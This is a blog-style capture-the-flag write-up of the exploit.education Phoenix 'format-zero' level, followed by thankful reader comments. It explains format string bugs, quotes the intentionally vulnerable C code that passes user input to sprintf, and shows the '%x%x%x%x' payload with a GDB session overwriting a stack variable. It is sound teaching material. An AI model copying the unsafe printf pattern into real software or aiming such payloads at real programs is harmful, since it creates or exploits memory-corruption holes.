The description and source code can be found here:
http://exploit.education/phoenix/format-zero/
Now it’s time to learn about format string vulnerabilities. I won’t go into great detail about this particular type of vulnerability since there’s a lot of resources on the Internet that can give a better explanation than I can (just do a search on “format string vulnerability”). Basically, these occur when the programmer uses the “printf” family of functions without a “format string.” For instance, if there’s a character array variable (called “name” in this example) that is filled with user-supplied input, the correct way to display the contents would be like this:
printf("%s\n", name);
The “%s\n” is the format string here, telling the printf() function to display the name variable as a string. Printing the contents of the variable this way would cause a format string vulnerability:
printf(name); printf("\n");
The vulnerability occurs because the user can supply their own format string. If the user were to input something like “%08x.%08x.%08x.%08x” as their name, the printf() function would display information on the stack where it was called from as it would expect 4 values to have been pushed as arguments for the format string. The output might look something like ffffe920.ffffe243.00000000.fefefeff.
This first level is relatively straightforward, we need to modify the changeme variable. Let’s look at the source code. First, a struct is created with 2 variables, dest[32] and changeme (int). Another variable, called buffer[16], is declared and the banner is printed.
#define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int main(int argc, char **argv) { struct { char dest[32]; volatile int changeme; } locals; char buffer[16]; printf("%s\n", BANNER); ...
Next, the program asks for user input to store into the buffer variable. This will store at most 15 characters. It then ensures NULL termination of that variable by setting the last element to a NULL byte and sets the changeme variable to a NULL value as well.
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) { errx(1, "Unable to get buffer"); } buffer[15] = 0; locals.changeme = 0;
Next, we have the format string vulnerability with the sprintf() function. It simply takes the user-supplied input and writes it to the dest variable. Finally, the program prints a message depending on weather or not the changeme variable was changed or not and exits.
sprintf(locals.dest, buffer); if (locals.changeme != 0) { puts("Well done, the 'changeme' variable has been changed!"); } else { puts( "Uh oh, 'changeme' has not yet been changed. Would you like to try " "again?"); } exit(0); }
We need to modify the changeme variable that is placed on the stack next to the dest variable. However, we can’t just supply more information than dest can hold as our input is limited to 15 characters. However, we can take advantage of the format string vulnerability. If we supply “%x” as input, only 2 characters are used. When that goes through the sprintf() function, it comes out as an 8 character hex value from the stack. So to fill the dest variable, we only need 4 of those “%x” format specifiers. And since the user presses “enter” at the end of their input, the sprintf() function will save the newline character (0x0a) as well, which would cause an overflow. Let’s test it out:
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education %x%x%x Uh oh, 'changeme' has not yet been changed. Would you like to try again? user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education %x%x%x%x Well done, the 'changeme' variable has been changed!
We can also use GDB to see how it looks in memory:
user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/format-zero GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from /opt/phoenix/amd64/format-zero...(no debugging symbols found)...done. gef> disas main Dump of assembler code for function main: ... 0x00000000004006e7 <+74>: mov BYTE PTR [rbp-0x31],0x0 0x00000000004006eb <+78>: mov DWORD PTR [rbp-0x10],0x0 0x00000000004006f2 <+85>: lea rdx,[rbp-0x40] 0x00000000004006f6 <+89>: lea rax,[rbp-0x30] 0x00000000004006fa <+93>: mov rsi,rdx 0x00000000004006fd <+96>: mov rdi,rax 0x0000000000400700 <+99>: mov eax,0x0 0x0000000000400705 <+104>: call 0x400500 <sprintf@plt> ...
We can see that the addresses for the buffer and locals.dest variables are loaded into RDX and RAX as arguments for the sprintf() function at main+85 & main+89. That tells me that I should be watching the memory on the stack starting at RBP-0x40. I’ll break before the sprintf() function call and use the GEF “memory watch” command so I can see what the stack looks like before & after the call. Also note that we know the changeme variable is at RBP-0x10 as that’s where the NULL value is loaded into there in the disassembly.
gef> b *main+99 Breakpoint 1 at 0x400700 gef> run < <(echo %x%x%x%x) Starting program: /opt/phoenix/amd64/format-zero < <(echo %x%x%x%x) Welcome to phoenix/format-zero, brought to you by https://exploit.education Breakpoint 1, 0x0000000000400700 in main () [... GEF output snipped ...] gef> p $rbp $1 = (void *) 0x7fffffffe690 gef> memory watch $rbp-0x40 8 qword [+] Adding memwatch to 0x7fffffffe650 gef> n 0x0000000000400705 in main () [... GEF output snipped ...] ─────────────────────────────────────────────────────────────── memory:0x7fffffffe650 ──── 0x00007fffffffe650│+0x0000 0x7825782578257825 0x00007fffffffe658│+0x0008 0x000000000000000a 0x00007fffffffe660│+0x0010 0x0000000000000000 0x00007fffffffe668│+0x0018 0x00007fffffffe6e8 0x00007fffffffe670│+0x0020 0x0000000000000001 0x00007fffffffe678│+0x0028 0x00007fffffffe6f8 0x00007fffffffe680│+0x0030 0x0000000000000000 0x00007fffffffe688│+0x0038 0x0000000000000000 [... GEF output snipped ...] gef> n 0x000000000040070a in main () [... GEF output snipped ...] ─────────────────────────────────────────────────────────────── memory:0x7fffffffe650 ──── 0x00007fffffffe650│+0x0000 0x7825782578257825 0x00007fffffffe658│+0x0008 0x000000000000000a 0x00007fffffffe660│+0x0010 0x3035366566666666 0x00007fffffffe668│+0x0018 0x3033356366663766 0x00007fffffffe670│+0x0020 0x3030336266663766 0x00007fffffffe678│+0x0028 0x6630366566666666 0x00007fffffffe680│+0x0030 0x000000000000000a 0x00007fffffffe688│+0x0038 0x0000000000000000 [... GEF output snipped ...] gef> c Continuing. Well done, the 'changeme' variable has been changed! [Inferior 1 (process 348) exited normally]
We can see the stack gets filled with seemingly random data from other parts of the stack where the dest variable is. You can also see the newline character (0x0a) gets put at 0x7fffffffe680, thus, overwriting the changeme variable.
Thank you for your clear and detailed solutions. I like to check with your approach and methodology after solving them, I always learn or or think about something new. Have a good one!
Thanks for letting me know! I’m glad they help.
After watching LiveOverflow’s protostar video, I was on the wrong track. But thanks to your clear and concise explanations, I understood what was going on.
Thank you so much!
I’m glad it helps!
Andrew, top work. The command `memory watch $rbp-0x40 8 qword` was an excellent idea. I didn’t use it the end but it is another weapon the kitbag.